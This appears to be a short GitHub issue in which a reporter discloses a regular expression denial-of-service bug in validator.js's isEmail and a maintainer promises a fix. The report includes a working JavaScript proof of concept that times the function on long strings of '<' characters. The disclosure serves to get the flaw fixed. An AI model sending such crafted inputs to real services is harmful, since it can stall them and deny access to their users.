ReDoS in isEmail

[yetingli]

Describe the bug
It allows cause a Regular Expression Denial of Service (REDoS) when checking if the crafted string is an email.

Examples

var validator = require("validator")
function build_attack(n) {
	var ret = ""
	for (var i = 0; i < n; i++) {
		ret += "<"
	}

	return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Additional context
Validator.js version: 14.10.0
Node.js version:
OS platform: windows

[profnandaa]

Same here, thanks @yetingli -- working on a fix this weekend.